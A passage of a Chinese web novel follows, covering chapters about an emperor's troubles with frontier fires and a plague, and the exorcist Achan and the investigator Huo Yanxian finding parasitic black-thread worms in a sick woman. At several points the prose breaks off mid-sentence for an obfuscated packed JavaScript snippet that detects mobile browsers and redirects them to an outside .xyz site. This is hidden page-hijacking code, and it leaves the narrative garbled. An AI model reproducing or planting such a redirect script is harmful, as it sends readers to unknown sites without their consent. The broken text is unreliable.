他定是以为自己打过几次胜仗,在西北百姓口中威望颇高,一时便得意忘形,大意轻敌,臣一定促他摆正心态,等到战事结束,再严惩不贷!” “哼!现在你才知道他不行?当初还不是你极力推荐的他!”桓帝见他甩锅,更是生气。 “……”邹远杰哪里还敢说什么,只能低头挨骂。 桓帝对他道:“窦良才不行,你亲自去陇丰镇督战,即日出发,朕倒要看看,这场仗要打到几时!” 邹远杰心下叫苦不迭,但也不敢忤逆上意,当下只得道:“臣遵旨!” 圣人挥了挥手,邹远杰退出殿外。 霍彦先站在一旁默默听着,仿佛又听到了当年朝中批判杜时衡的声音。 然而下一刻,他刚翻涌起的思绪被打断,桓帝压下火气,转向他问道: “霍彦先,你那边的情报怎么说?” 霍彦先呈上陇丰镇绣衣察事司的密报。 “目前还没查清楚军中失火的原因,但以臣的了解,窦将军并不是轻敌之人,臣只能斗胆推测,或许有敌方细作混入军中,放火烧粮。” 桓帝目光深沉:“东朔勒此次一旦成功,有可能连同西朔勒一起进攻大桓,切记不能让他们得逞! 马上让你的人去调查清楚,必要时你亲自暗中去查,邹远杰在朝中养尊处优多年,或许对于一线战局判断已不敏感。” “是,陛下。”霍彦先领命。 “没别的事,你先退下吧。” 霍彦先却没动,补充道: “臣另外接到密报,西北肇度城崇德谷,近日发生了小规模瘟疫。” “瘟疫?”听到这两个字,桓帝更加头痛。 “是的,但据说当地官府已经控制住态势,没有蔓延。” 桓帝看着西北边关的地图,“此地离陇丰镇不远,密切关注,切不可让瘟疫蔓延到军中。” “是。”霍彦先应道。 这时,内常侍脚步匆匆进入殿中。 “陛下,刚接到消息,桓安西边的云禄仓失火了!”内常侍急道。 “什么?”桓帝震惊,“粮食可有烧毁?查清原因没有!” “火势倒是不严重,没有波及库中存粮,桓安府尹初步判断是因为天干物燥引起的失火,更具体的原因还在调查之中。”内常侍如实禀报。 桓帝有一瞬恍惚,似是想起了什么。 “陛下,您还好吗?” 内常侍见圣人脸色顷刻之间剧变,也是吓了一跳,赶紧扶住他。 桓帝摆摆手,看向霍彦先:“刚才叮嘱你的事先去处理,还有灵脉一事你也记着跟进,先下去吧。” 霍彦先遵命告退。 待到他走后,桓帝对内常侍道:“去将倪正德叫过来。” “是,陛下。” 内常侍出去轻轻将门关上,桓帝在案几上翻出司辰局之前给出的占辞: “六月初八,月犯荧惑,水火未济。务须慎于谷物之收割与储藏,严防火患水涝。” *** 不多时,倪正德提袍进入勤政殿。 他是现任司辰局职级最高的官员——司辰令。 自应贤被斩首后,司辰令便由他这下一级的司辰丞顶上。 “月犯荧惑的影响真的这么大?军中和粮仓接连发生火灾?” 桓帝问道,气力有些不足。 倪正德恭谨道:“陛下,臣前几日就已经提醒过您,月犯荧惑,乃不祥之兆,轻则或可引起火灾水患,重则或可引起国家动荡,需得尽快请出圣物金渊珏,祈福禳灾,躲避祸患。” 可桓帝似乎并不想听到这句话,心累地闭上了眼睛。 “别无它法吗?” “臣理解陛下不想惊扰嘉善皇后在天之灵,但为了整个大桓百姓考量,还请陛下三思。” 倪正德伏身一拜,态度坚决。 桓帝正襟危坐,皱眉闭目,内心似乎在经历激烈挣.扎,沉默半晌,最后哑声道: “罢了,你去找国师,将圣物金渊珏请出,明日祭祀。” “遵命。” 倪正德躬身退出勤政殿。 殿中只剩桓帝一人,他终于不用维持刚才正襟危坐的姿态,颓然倒向座中,手捏了捏眉心,眼中皆是痛苦迷茫,喃喃道: “佩娴,朕如今遇到了难事,需要请你帮忙,你不会怪朕吧……” *** 霍彦先想着阿婵的天象占辞,故意在外面没走,想等司辰令出来问问,结果大为震惊: “什么?陛下要请出圣物金渊珏?” 十一年前,嘉善皇后为筹备亲蚕礼,特意去钦州府会见一位能够织造特异蚕丝的养蚕人黄茂才,途中偶遇嗽金鸟。 桓帝利用嗽金鸟,在附近发现了一座金矿,当时大桓国库空虚,金矿正好解了这燃眉之急。 后来,发掘金矿之时,在矿坑内发现了金渊珏。据 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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凌元道长得知消息,对他说:“贫道需得准备明日的祭祀,待到祭祀完毕之后,我再和霍大人、闻寰居士一同去灵脉如何?” 霍彦先:“如此甚好。” 他立刻从国师处离开,打算去蓬莱春告诉阿婵再探灵脉的时间。 *** 阿婵从宫中回到蓬莱春,对谢慕游说: “我昨晚发现西边有火势,不知是哪里起火?” “我的人传信说是西边的云禄仓失火了。”谢慕游答。 “朝廷的粮仓?那可是大事。” “可不是。也不知道是为什么失火。” 阿婵拿出观星记录簿,翻到六月初八那一页: 丑时,月犯荧惑,荧荧似火,水火不济。谨防军中谷物粮仓之水涝火患。 她心中隐隐有些不好的预感。 *** 霍彦先去找阿婵的途中,一路思索,总觉得云禄仓突然失火的事很蹊跷。 他先回到绣衣察事司,叫来杨奉安,“云禄仓失火一事,你让人暗中去查查,不可声张。” “是,大人。” 113. 瘟疫 翌日,朝中皆惊,圣人竟请出了金渊珏祭祀! 这件圣物尘封十年,上一次大显神通还是为了平息钦州府的金矿大火。如今再次出山,看来是为了东朔勒的战事以及日前的云禄仓失火事件,看来大桓最近这段日子不好熬啊! 众臣心照不宣,面对圣人,更加如履薄冰。 此外,圣物出山,也令众人不由得又想到英年猝逝的嘉善皇后。叹斯人已逝,只希望嘉善皇后在天有灵,能够保佑大桓度过这次危机。 *** 祭祀天亮开始,很快便结束。 霍彦先和阿婵、国师凌元道长没有耽搁时间,马不停蹄来到了龙岫岭灵脉处。 目前龙岫岭的灵脉被挖毁,修复耗时耗力,但可以暂时从灵骅山等桓安周边各个山脉布阵,先将灵气引来,填补上灵脉的缺口。 至于灵气能不能运行周转顺畅,就需要再观察调整,这也需要相当的时间。 此法会对周边山脉的灵气走向产生一定影响,不仅需要极为小心谨慎地勘测布局,更要和灵骅寺等桓安周边各玄门中人商议妥当之后,才能实施。 阿婵和凌元道长各自拿着罗盘,勘测方位,默默记下引导灵气所需的地点方位,回去再根据桓安周边的地形图,进行布阵。 与此同时,霍彦先也在灵脉被挖毁处寻找线索,看看能不能找到嫌疑人。 三人脚程快,做事也极其专业麻利,不到亥时,整座山的勘测便结束,回到了白髯魈放棺材的灵脉山洞外。 返程之前,阿婵要见一下白髯魈和小焦骨魈。 因白髯魈拒见外人,所以阿婵单独进洞,凌元道长和霍彦先在外面等她。 确认只有阿婵一人之后,白髯魈才抱着小焦骨魈,从洞穴角落里露出头来,慢慢走到阿婵面前。 白髯魈比比划划,问阿婵你怎么还带外人来? “他们不是坏人,长胡子穿道袍的那一位是大桓的国师,国师懂吗?道法高强,是来帮你们修复灵脉的。高大俊朗但脸很臭的那位,是来帮你们找挖毁灵脉的凶手的。 过段时间,国师会在灵骅山和其他周边各个山脉布阵,将灵气暂时引来,填补上此地灵脉的缺口,至于彻底修复,还需要时间,所以你们稍安勿躁,这是我答应你们的口粮,应该够吃一段时间。” 阿婵将两个僵尸费力抬过来的大箱子打开,里面是她在六家归还金银珠宝赚来的全部功德金,还有桓帝赏赐的两千五百两银。 白髯魈打开箱子,果然被扑面而来的金气闪瞎了眼,流露出惊喜的神色。 小焦骨魈已经激动地伸手胡乱抓了一个金锭,张嘴就啃。 白髯魈抬头看阿婵,拿出了素魄珏,比划道,既然你如此讲信用,那我也不贪.婪,这素魄珏还给你。 阿婵接过素魄珏,递给它一个木蝉。 “之后我有空会再来看你们,虽然这些吃的看起来很多,但你们也要省着点吃。如果不够,就让僵尸送这个木蝉到桓安蓬莱春客栈的掌柜桌案上。 客栈里的东仓使者是我的助手,它看到会让僵尸给你们拿口粮回来。记住,要夜深人静的时候去,不许吓到任何人,听到没有?” 白髯魈使劲点点头,冲阿婵作了一揖,还按着小焦骨魈的头,也作了一揖。 阿婵又压低声音道:“那个长胡子国师,他如果再来,你在暗处帮我盯着点他,看看他有没有什么奇怪的地方。” 白髯魈一歪头,虽然不明所以,但还是点了点头。 阿婵这才从山洞出来,和霍彦先、国师一同回桓安城内。 之后国师会带人去其他山脉勘测布阵,并和玄门中人沟通,阿婵倒是不必再过多操心。 *** 五日后。 皇城,勤政殿。 桓帝手持密报,大为火光。 “怎么回事?不是说西北肇度城崇德谷的瘟疫不严重吗?怎么短短几日便死了这么多人?!” “目前还不清楚。”霍彦先接到密报也是一头雾水。 “父皇,不如让儿臣前去看看。”煜王晁元肇也在勤政殿中,向桓帝请命。 “你去?”桓帝意外看向他。 “是,儿臣之前曾在西北一带游历,对那边比较熟悉,或许过去能够帮上些忙,为父皇分忧。” 桓帝眸光深邃,终于认真审视起这个三儿子。 纵观宫中所有皇子,年纪小的读书争宠,年纪稍大的都希望能去边关斩获军功。 只有这老三,一向不争功宠,游离在宫廷权利斗争之外,却不声不响地解决了荔南府富州城的水患贪墨案,又平息了平海镇节度使卫琛作乱一案。 现在连一众朝臣都不愿沾惹的西北瘟疫烂摊子,他却主动请缨。 桓帝内心说不触动是假的,当下便到:“好,既然你有心,便由你去,稍后让虞屹安替你安排一些对付瘟疫所需的药品物资。” “儿臣遵旨!”煜王朗声道。 “一切小心,为父希望你平安归来。”桓帝突然换了一副温柔的语气,拍了拍他的肩膀。 晁元肇已经多年没有听过父亲这样对自己温柔地说话了,瞬间鼻子一酸,俯首拜下:“父皇放心,儿臣定不负所望!” *** 傍晚,楼映真做了一桌菜肴,在新宅邸等候煜王归来。 最近晁元肇通常下朝之后去自己王府转一圈,晚上留宿在她这里,楼映真对此很是满意。 可今日,晁元肇回来却行色匆匆让人收拾东西,似是有要事。 “怎么?殿下如此匆忙是要去哪里?”楼映真问。 晁元肇将西北瘟疫之事同她讲了之后,楼映真眼中全是担忧。 “瘟疫?那可十分危险,圣人怎么会同意让殿下去的?您可是龙子啊!” 晁元肇安抚地摸着她的脸颊,“是本王亲自请缨的。” “殿下主动要求去的?!”楼映真满眼不理解。 晁元肇点点头,拉起她的手,温声说:“我这也是为了我们的将来着想。若是此次能够将这件事处理妥当,父皇肯定会认可我的能力。你也不想你的夫君日后在所有人眼里都是草包王爷吧。” 此刻,晁元肇眸中锐气十足,眼中流露出和平日截然不同的野心。 楼映真得知他要去西北肇度城处理瘟疫,心中竟有些雀跃起来。 无他,皆因之前她在西北暗中经商之时,对这肇度城很是熟悉,且在那边,自己正好有些药材营生,刚好可以助益晁元肇此次行动。 若是真能帮上忙,晁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453634|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元肇定会更加高看她一眼。 他韬光养晦多年,终于开始有所动作了,那么自己是不是也可以趁此机会搏一把呢? “殿下,让映真和你一起去吧。” 楼映真依偎着他,紧紧回握住他的手。 “什么?”晁元肇吃惊,断然拒绝,“这可不是儿戏,进入疫区是很危险的,搞不好会丢掉性命!你如何去得!” “殿下既然知道此行危险,难道就不想想我独自留在桓安会有多担心吗?我和殿下才重逢没有多久,万万不能让殿下独自赴险,就让我也跟着去吧。”楼映真泪眼朦胧娇.声恳求。 “不行,你在家好好等着我!” “殿下……实不相瞒,我曾在西北一带做过些药材生意,是那时在娘家被欺侮,走投无路所以就想试试经商,没想到真的做成了。 肇度城是我经商时很熟悉的区域,若是殿下去疫区,说不定我的药材生意可以帮上忙。” 楼映真细声细气地解释。 晁元肇越听越惊讶,眼中光芒却越来越盛,忍不住将楼映真紧紧搂入怀中。 “映真,你真是……到底还有多少惊喜,是本王不知道的……” “只要能为殿下分忧就好。” 楼映真在他怀中柔声道,嘴角勾起势在必得的微笑。 *** 深夜,蓬莱春。 谢慕游去外阜办事两天,终于回来,收到一些消息,等阿婵回来,赶紧找她。 “知道吗?楼映真要跟着晁元肇一起去西北那边了。” “西北?去做什么?” “我的人得到消息,说楼映真给她在西北的药材商队传信,要紧急调集大批药材赶往肇度城,那边最近似乎有瘟疫,晁元肇估计是奉命去调查处理瘟疫的。” 阿婵略一思索,“她这是要借自己的生意帮晁元肇在圣人面前挣功?” 谢慕游道:“她当年就是经商的时候在西北遇到乔装商人的晁元肇,才有后来的这一系列事情。这次她若是能帮上忙,估计晁元肇肯定会觉得他俩更加有缘分,楼映真怎么会放过这个机会。” 阿婵当机立断,“既然如此,我也跟过去瞧瞧,看看能不能让楼映真露出些马脚,算起来,她的好日子也该过够了。” 谢慕游点点头,随即又担忧起来,“可是瘟疫不可控,晁元肇这草包能不能行?你伤还没完全好,这几日一直奔波,现在还要跑到西北这么远,又是去疫区,能行吗?” “就因为他很草包,我更担心他控制不了局势,得跟去看看,顺便看看瘟疫到底什么情况。 若是他搞不定,我就想办法帮忙,反正除掉楼映真之后,横竖是要接近他的。而且当地百姓是无辜的,不能任由瘟疫蔓延。他们何时出发?” “应该就是这两天,晁元肇也需配齐药材物资带过去。” “那正好,明日我入宫再帮嗽金鸟疗伤一次就差不多了,应该追得上晁元肇他们。” 说着,阿婵便开始写要用的东西,“你帮我准备一些东西。” “嗯。” “我走之后,桓安这边,你得帮我盯着庄菡一家,段行玠绝对有问题。”阿婵道。 “怎么,我不在这两天,你查到了什么?”谢慕游不由得好奇。 114. 怪病 阿婵道:“最近我每晚都去段府观察,之前段行玠本来不是瘦得皮贴骨,跟僵尸一样吗? 但这两天,不知道是不是回光返照,他的血肉居然又长回来了,而且恢复得十分迅速。 之前他都没办法出屋,但我今晚再去看,他竟都能从屋中走出来活动,脸颊也比之前饱满许多,有人样了。” “这么邪门?他到底什么病?还是真中邪了?”谢慕游越听越觉离奇。 阿婵也百思不得其解:“不知道,我打听过他吃的药,虽然用药名贵,但都是普通续命的方子,但若说中邪,那晚我扮成侍女接近他,也没感知到他有邪祟缠身。我暂时还想不通。 但他既然恢复正常,后续肯定还会有传言,你帮我盯着点,之前我们的注意力都放在阮云薇和楼映真身上,没发现庄菡夫家还藏着这么大的文章,值得好好研究一下。”阿婵叮嘱。 “放心,我定会把段府盯出个窟窿来!”谢慕游道。 *** 西北,陇丰镇,丰义军营。 霍彦先独自来到这里。 这次,他有两个任务。 一是查军营火烧粮草案,到底是意外,还是人为。 二是查军队士气为何如此一蹶不振,到底是窦良才统率不利,还是有其他什么原因。 按说窦良才一向军纪严明,后勤管理也很严格,不应该出现如此疏漏,霍彦先怀疑是有人故意纵火,他来之前当地绣衣察事司已经在查,但目前线索已经不多,所以调查进展并不顺利。 只能先查另一件事。 霍彦先初步调查下来,发现军队里有很多士兵训练时就无精打采,像是没有睡饱觉一样。 问他们,说是晚上睡觉时身上奇痒无比,痒到抓出一道道血痕,但白日就会恢复正常。 奇怪的是,军医检查过后,他们的身体并没有任何问题,就算按照皮肤病来医治,也没有效果。 这样的士兵,大概有五百人,占了军队总数的一半,这或许就是导致整个丰义军士气不振的原因。 但这件事,因为没有确切的症状和定论,听起来就像是为自己作战不力找借口一样,所以将军窦良才根本没法上报给朝廷。 但霍彦先脑海中突然想起一件事,和这次丰义军士兵的症状有点类似。 他对那件事印象极其深刻。 十年前,他在桓安郊外的乱葬岗,曾经遇到五个犍骑营逃兵。 他们十天之内流窜作案四起,沿路抢劫、入户偷盗财物,致三人亡,六人伤,一户村庄民居被烧毁。 而抢劫偷盗的目的,是为了凑钱去买一个方士的秘方,来治他们身上的怪病。 霍彦先还记得,那晚他看到五个逃兵的手臂上,都有一块巴掌大的烂疮,红肿溃烂到可闻其臭,甚至苍蝇都在伤口周围飞来飞去。 据五人交代,他们本在西北边关犍骑营,那时大桓战事四起,他们奉命迎战。 但有一晚他们突然感到身上奇痒无比,可脱.衣服查看,又没有起疹子或者其他什么症状,军医也说没有问题。 起初,他们没当回事,自己是犍骑营精锐,理应继续忍耐坚持,但这种情况持续了近一个月时间,每晚都痒得无法入眠,白日还要坚持作战和巡逻训练,又无药可治,铁打的人也熬穿了。 最后,他们因作战不力,被统率责罚,但五人也觉得委屈,不想再忍下去,于是筹谋连夜从军营逃跑。 跑出来之后,他们手臂开始生疮,继而溃烂,体内的痒痛也是一日比一日更加剧烈,令人难以忍受。 遍寻郎中无果,他们迫于无奈,抢劫偷盗凑钱,从一个方士手中高价买来治病偏方,竟是让他们去找“毒僵”分食其肉,以毒攻毒。 但那时他们走投无路,家中还有老小,为了活下去,即便是如此匪夷所思的办法,他们也得试一试。 所以他们当年从西北边关一路逃窜到桓安,听说司辰令应贤豢养妖蛊在桓安被斩首示众,观察了他的尸体三天不腐,才动了偷尸分食的心思,打算深夜下手。 但这五个逃兵被绣衣察事司抓获之后,不过两三日,便因疮口溃烂太深导致身亡,以至于绣衣察事司没能获取足够多的线索,找到那个方士。 后来再去犍骑营调查,发现其他士兵并没有他们五人的症状,所以查探因此停滞不前。 而如今,十年过去了,霍彦先在陇丰镇丰义军的士兵身上,似乎又看到和当年那五个逃兵类似的情况。 但不同的是,这次不是五个人,是五百人。 难道会有什么关联? 霍彦先很希望是自己多想,但多年来办案的直觉告诉他,不可能。 而且这次比十年前规模更大,情况更加不妙。 一种最坏的情况浮现在霍彦先心头——可能有人蛰伏十年,就是为了用这个方法将大桓军队蚕食殆尽。 他必须尽快找出真相! 于是,他找到最先出现这种症状的士兵,仔细问过他们的饮食行动。 最后得出结论,最近西北干旱,他们曾集结一小队人马,翻过旁边的山去寻找水源,就是自那时回来之后,开始出现的这个症状。 所以,霍彦先决定,先翻山去查探一下。 他看过地图,陇丰镇旁边的山叫做休云北山,山脚有个休云镇,再十几里就离肇度城崇德谷不远了。 他暗暗希望,不要是沾染了瘟疫。朔勒如此虎视眈眈,如果瘟疫在军中蔓延,后果简直不堪设想。 想到这里,他翻山的脚程又加快了几分。 *** 楼映真和煜王一道赶往西北。 自晁元肇知道楼映真经营商队之后,也明白她只是在自己面前温柔,但其实也颇有手段,因此便同意她助自己一臂之力。 二人提前从西北要塞临邑镇分开,煜王直接赶往崇德谷,先控制局面,楼映真则要去安密镇接应她的那批药材,再与他汇合。 再次回到安密镇,楼映真心中百感交集。 她路过家门,看都没有再看一眼,便率领马车车队,满载一车又一车药材,从安密镇取道休云镇,赶往疫区。 …… 车队为节省时间,直接从休云北山之中穿行,一路颠簸。 快到山脚下的休云镇时,突然,一个三十多岁的妇人抱着孩子斜刺里冲到马车前面,跪倒在地。 那妇人脸上都是烂疮,大着肚子。 孩子在她怀中昏迷不醒,手臂无力地耷拉下来,了无生气,露出细细的手臂上也都是红肿的烂疮。 “怎么了?”感到马车突然急刹,楼映真睁开眼问道。 “家主,有人拦车。”马车车夫道。 “让他们赶快起来,不要耽误我们的行程。” “家主,看样子好像是疫区出来的人,身上有疮……”车夫的声音不由得有些惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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车轮遇到阻力却更加用力前行,没有半分停下的意思,妇人的手指瞬间被倾轧得扭曲变形,鲜血淋漓,她一时抽不出手,整个人也被马车带着向前拖行。 钻心的疼痛传来,但她甚至都没有力气再喊疼,嗓子中发出的哭嚎虚弱得只剩一声叹息。 终于,妇人用尽全身的力气将手从车轮中拔.出来,倒在地上一动不动。 …… 车队行了很远。 “万庆,去将人处理一下,最好烧了,疫区出来的,别留下祸患。” 楼映真淡淡的声音从马车中传来。 “是!” 跟随护送药材商队的侍卫万庆,是楼映真在西北专门安排“干脏活”的人,听到这个要求,眼都不眨便骑马掉头执行命令。 楼映真重新闭目养神。 *** 荒山一角。 侍卫万庆正戴着面罩手套,将那倒在地上不省人事的母子二人拖拽到无人处,准备堆草燃烧。 突然,那妇人手臂怪异地摆动起来,紧接着开始抽搐抖.动。 侍卫大骇,手起刀落就要向她砍去。 下一刻,他后颈突然一阵麻痒,眼前一黑,便失去了意识。 荒山岩石转角处,走出来一个淡绿衣衫的纤细身影,头戴帷帽。 地上的妇人已经完全陷入昏迷,但身体还在兀自抖动抽搐,手臂和双腿时不时向各个方向摆动,似乎是提线木偶,被什么东西上身控制了。 她和孩子周身覆盖的干草,都被她诡异的动作给掀开四散得到处都是。 阿婵看到妇人和孩子裸.露出来的四肢、脖颈和面部皮肤,都有密密麻麻的红肿烂疮,正往外渗着脓水。 突然,那妇人鼓起来的腹部,似乎有什么东西在里面蠕动了一下。 115. 感觉晕晕的 休云北山,荒芜人烟,盛夏时节只有野草肆意疯长。 霍彦先正顺着丰义军士兵提供的路线,寻找当时他们去过的水源,却看见半人高的草丛之中有一个影子,几乎和草色融为一体,只有晃动的幅度,昭示着那是一个人。 对方身形步履轻盈矫健,不似寻常农牧民。 霍彦先立刻警觉地低伏在草丛之中,暗中观察。 这西北边关的荒山野地,很可能有朔勒细作潜藏其中。 可待那身影走近,他看清那人的样貌,陡然睁大眼睛。 竟是阿婵!!! 那一刻,霍彦先难以形容自己心中是什么感觉。 在这距离桓安千里之外的西北边关,他正在查探军中是否有内鬼细作,却在疑似案发之地,遇见了阿婵! 不久之前打消的疑虑再次不受控制地浮上心头。 霍彦先没有动,静静地看着阿婵的一举一动。 只见身着淡青色衣衫的阿婵,沿着和他相同的路线,来到了他要找的那片水源。 她在水边蹲下,拿出水囊欲灌水,突然转身扬手,霍彦先只觉身上瞬间被什么东西缠住,原本半蹲的他直接要被从草丛之中拽出来! 是山蜘蛛丝! 他几乎是下意识地皱眉反手一扯缠住他的山蜘蛛丝,使出千斤坠,阿婵这一拉,竟是没有拉动! 两人一人在水边,一人在草丛中,就这样拉扯对峙着慢慢站起身来。 “霍大人?” 阿婵看到霍彦先的手直接被山蜘蛛丝紧勒出血痕…… “你怎么在这里?” 阿婵赶紧收了山蜘蛛丝。 霍彦先冷声道:“这是我该问你的吧,你不是在桓安吗,怎么会在这里?” 听他语气冷漠肃杀,和平时截然不同,阿婵不知道他又是怎么了,只是坦白说道:“我听说这附近的肇度城有瘟疫,所以过来看看。” 又是这个理由。 但霍彦先也确实没有办法反驳,她不仅是捉妖道士,也是道医,这里有瘟疫,她的出现并不突兀,只是时间上有些太过巧合,让他不得不敏感。 “你连千里之外的瘟疫也要管吗?” “大人这么问,是怀疑我有什么别的心思?”阿婵的声音也冷了下来。 “这里是边防重地,现在边关局势混乱,闲杂人等出现在这里,自然会惹人怀疑。” “闲杂人等?呵,原来你怀疑我是朔勒的奸细呀……” 阿婵笑了,无奈地摇摇头。 霍彦先沉默,眸中充斥晦涩不明的幽深。 “那这个,要吗?” 阿婵晃了晃手中的帕子,往上撒了些药粉。 “这是我们朔勒细作特制的毒粉,你被我的山蜘蛛丝划伤出血,再加上这个毒粉,很快就能一命呼呜,到时候我就将你埋.尸在这个荒山野岭。” 霍彦先:“……” 阿婵努努嘴看向他的手,他才注意到自己的手竟血流如注,火辣辣地疼,以前不知道,这山蜘蛛丝竟如此锋利,他还以为这东西只是黏性大。 他立刻给自己点穴止血,发现竟然没有用处,伤口处血依旧猛流。 “没用的霍大人,山蜘蛛丝也算妖物的一种,它的黏液有毒,你这种凡人手法是没办法止血的。不过你也是真猛,肉.体凡胎,竟敢跟它硬碰硬,寻常妖物被它捆缚都不敢挣.扎。” 阿婵一把拉过霍彦先的手,掰开他的掌心,将手帕整个覆盖上去。 一时间,两人掌心贴着掌心,虽然隔了一层手帕,但霍彦先心中却还是有些异样,脑袋晕乎乎的。 阿婵贴近他耳边,低声笑道:“怎么样霍大人,是不是感觉手掌痛痛的、头晕晕的?放心,这毒药很快就会让你失去意识,一会儿我就找个风水好的地方,挖坑把你埋了,以后每年我都会让杨奉安来给你浇水的……你还有什么遗言或者秘密,现在不妨赶紧交代给我?” 她满口胡言中又透出探究的意味,不断敲击着霍彦先心中的铜墙铁壁。 “你别胡闹!”霍彦先退后一步避开她过于靠近的呼吸,脚下绊蒜一时竟站立不稳。 阿婵手指穿过他的指缝,将他的手紧紧扣住,拧眉喝道:“别乱动!赶紧止血!” 霍彦先愣愣地看着他们十指相扣的手,这下动也不是,不动也不是,就这么僵在原地。 手帕上的药粉冰冰凉凉,镇痛效果十分良好,但没有药粉的边缘却透出阿婵掌心的温热,她的手掌比他小很多,也柔软很多,难道因为手帕是丝绵质地?怎么会这么软…… 不好,感觉更晕了……霍彦先不禁甩甩头,想让自己清醒一下。 “站稳,自己敷药。” 见霍彦先终于老实了,阿婵才抽手,将手帕给他绕手系上,又塞给他一张符箓。 顷刻,霍彦先感觉自己的头晕好了很多。 “这是什么?” “山蜘蛛丝不仅有毒,还有妖气,虽然不多,但对你的身体还是会有影响的,就像在富州城你沾染了牡丹花妖的妖气一样,得祛除一下。但我这符箓的价钱还是和富州城一样,照收。”阿婵毫不客气地说。 霍彦先:“……” 他没好气地问:“你真的只是来肇度城帮忙控制瘟疫的?” 阿婵一脸坦荡:“是啊,我是在桓安听我的主雇说,这里发生瘟疫,才想着过来略尽绵薄之力的。 大人或许有所不知,为医者,但凡有些医德良心,听说什么地方有了瘟疫灾难,只要有条件,都会主动前往帮忙,这是我们千百年来的医者传承。” 她看霍彦先表情有所松动,又道,“我在赶来的路上恰好遇到了一对母子,据说是疫区出来的,要被人烧死,所以出手帮了一下。但帮她清洗疮口的时候发现,她身上的东西,并不是普通的瘟疫。因疮口太多,水用光了,这才想过来找水。” “那对母子现在在哪儿?” 霍彦先语气和脸色虽然都缓和了些,但看得出防备还是没放下。 “大人稍等,我这就带你去见他们。” 阿婵此刻心系那对母子,对霍彦先这态度也懒得和他一般见识,只是心中腹诽—— 反正这人一向如此,会笑着拿刀捅人,也会板着脸和她吃饭,一会儿骂她,一会儿又对她嘘寒问暖,转头又把她当敌国细作,这可能就是他“沉命阎王”的特色吧,根本猜不透他想什么,随便吧! 心中暗骂着,阿婵走到水边蹲下。 “等一下!”霍彦先阻止。 “?”阿婵疑惑看向他。 霍彦先拿出自己平日里调查随身携带的验毒工具,一一放在水中验过。 结果显示水中均没有常见的毒物。 阿婵看他这番操作,问道,“怎么?你怀疑这水里有毒?” “野外需谨慎些。” “可刚才遇到你之前,我看有野兔在这边喝水,喝完还蹦跳了许久,我也粗略检查过,这水大概没毒。” 霍彦先心中的疑虑并未消散,毒物检测没事,不代表不会导致丰义军士兵们的痒病。但阿婵说野兔在这边喝水,按理说动物最是警觉,水若真的有问题,它们会第一时间避开。 但若不是水源的问题,又会是什么原因呢? 暂时想不通,霍彦先只能起身对阿婵道:“你说的那对母子,现在在何处?” 阿婵便带他到了一处隐蔽山坳间,因为刚才有人要杀母子,所以阿婵将他们转移到了此处。 此时,母子尚在昏迷之中。 霍彦先上前查看母子身上的症状,发现他们身上的红疮竟和十年前那五个犍骑营逃兵身上的一样! 而且,听阿婵的意思,若这对母子是从肇度城崇德谷的疫区逃出来的,那么这个瘟疫也很有可能就跟十年前那五个人有关…… “霍大人,检查完了吗,麻烦让让。” 阿婵端着水囊,很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477064|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不耐烦地让霍彦先靠边站,态度更是“礼尚往来”,不仅简单粗暴将他挤开,还踩了他一脚。 霍彦先:“……” 阿婵跪地蘸着清水,给妇人清洗疮口,动作谨慎麻利。 而后,她将手掌放在那妇人高高隆起的肚子上,运气调息,作势要用力按下去。 霍彦先大惊失色:“你做什么?!” “她可不是孕妇。”阿婵丝毫没有犹豫,掌心向妇人鼓鼓囊囊的腹部按下。 霍彦先看着她聚精会神地运气,过了片刻,神奇的事情发生了,那妇人的肚子竟然慢慢扁了下去,而她周身的溃烂疮口之中,竟源源不断有黑色线虫爬出,密密麻麻,令人作呕。 只见无数黑色线虫从她脸上、脖颈、四肢的疮口之中钻出来,仿佛热锅上的蚂蚁被逼得四处乱爬。 爬出她的身体之后,没头苍蝇似的蠕动了一阵,待与同伴接头,便再次迅速集结在一起,拧成一股粗绳般,在地上移动,寻找目标。 “这是什么东西?”霍彦先一脸震惊。 “黑线蛊。” 阿婵将部分蛊虫收集进小罐密封存放,另外的全部撒了药粉,不多时,一地蛊虫便化作滩滩黑水。 “这里怎么会有蛊虫?” “不知道,我也很奇怪,刚才我在她腹中看到蠕动的东西,探脉后发现并不是怀孕,而且之前她的四肢会诡异地摆动,我便怀疑她体内有虫。 这些黑线蛊会顺着四肢头颈爬进人体内,凝聚在一起,蚕食侵吞她的内脏,若不能及时驱除,她必死无疑。” 阿婵给妇人把脉,感到脉象终于平稳,这才放下心来。 “如果肇度城的瘟疫都是这样,那看起来并不是普通的瘟疫,我得赶紧过去看看。”阿婵道。 “这蛊虫驱除出来就能好吗?”霍彦先问道。 “差不多,疮口上点金疮药,只要不继续溃烂就好了。” “那这蛊虫是不是钻入人体内都会有红肿的疮口,会不会皮肤表面没有任何症状?只是会发痒?” “大人为何这么问,难道知道些什么?”阿婵疑惑。 “我只是随口一问。” 